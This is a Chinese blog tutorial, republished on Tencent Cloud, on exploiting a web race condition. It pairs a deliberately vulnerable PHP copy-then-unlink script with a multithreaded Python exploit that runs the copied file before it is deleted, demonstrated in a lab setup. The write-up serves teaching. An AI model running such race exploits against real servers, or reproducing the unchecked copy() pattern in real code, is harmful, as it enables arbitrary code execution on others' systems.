前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WEB条件竞争利用

WEB条件竞争利用

作者头像
Elapse
发布2020-08-17 11:12:59
4070
发布2020-08-17 11:12:59
举报
文章被收录于专栏:E条咸鱼E条咸鱼

类似前言一样的东西

条件竞争是真的好玩,佛了

解释

先上例子

代码语言:javascript
复制
<?php
    print("Hello,This is test server");
    if(isset($_GET['src'])){
        copy($_GET['src'],$_GET['dst']);
        unlink($_GET['dst']);
}
    else{
        print("Error!");
?>

这是典型的条件竞争利用的点

正常的服务器操作,是copy参数src的文件名和参数dst的文件名,复制完毕后,立马unlink删除

那么条件竞争呢,就是利用复制完毕,卡还没来得及删除的时间点,访问文件,执行恶意代码,而恶意代码已经执行完成了,那么文件删不删除都不重要了

具体的流程如下图 ↓

一目了然,小天才说的就是我吧

环境搭建

  • 靶机: CentOS6.5
  • PHP

首先现在靶机安装httpd服务,再安装php 完成后,开始配置环境

Elapse.php和file.php的内容为

代码语言:javascript
复制
Elapse.php:

<?php
    print("Hello,This is test server");
    if(isset($_GET['src'])){
        copy($_GET['src'],$_GET['dst']);
        unlink($_GET['dst']);
}
    else{
        print("Error!");
?>
-----------优秀的分割线-----------

file.php:

<?php
$myfile = fopen("test.txt","w");
$txt = "ElapseNB\n";
fwrite($myfile,$txt);
?>

具体利用方式就是,通过访问Elapse.php,传入参数将file.php copy出来然后同时访问新文件 这里用的是python3多线程

代码语言:javascript
复制
import requests
import threading

url1 = 'http://192.168.1.111/Elapse.php?src=file.php&dst=myfile.php'
url2 = 'http://192.168.1.111/myfile.php'

def filecreate(url):
    while True:
        try:
            requests.get(url)
        except:
            print("not find file")
def main():
    threads = []
    for e in range(10):
        t1 = threading.Thread(target=filecreate,args=(url1,))
        t2 = threading.Thread(target=filecreate,args=(url2,))
        threads.append(t1)
        threads.append(t2)
        t1.start()
        t2.start()
    print("Successful!")
if __name__ == '__main__':
    main()

创建两个线程,同时访问两个url 运行结果:

在服务器中可以看到多出来了一个文件,内容为ElapseNB

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-12-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 E条咸鱼 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 类似前言一样的东西
  • 解释
  • 环境搭建
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档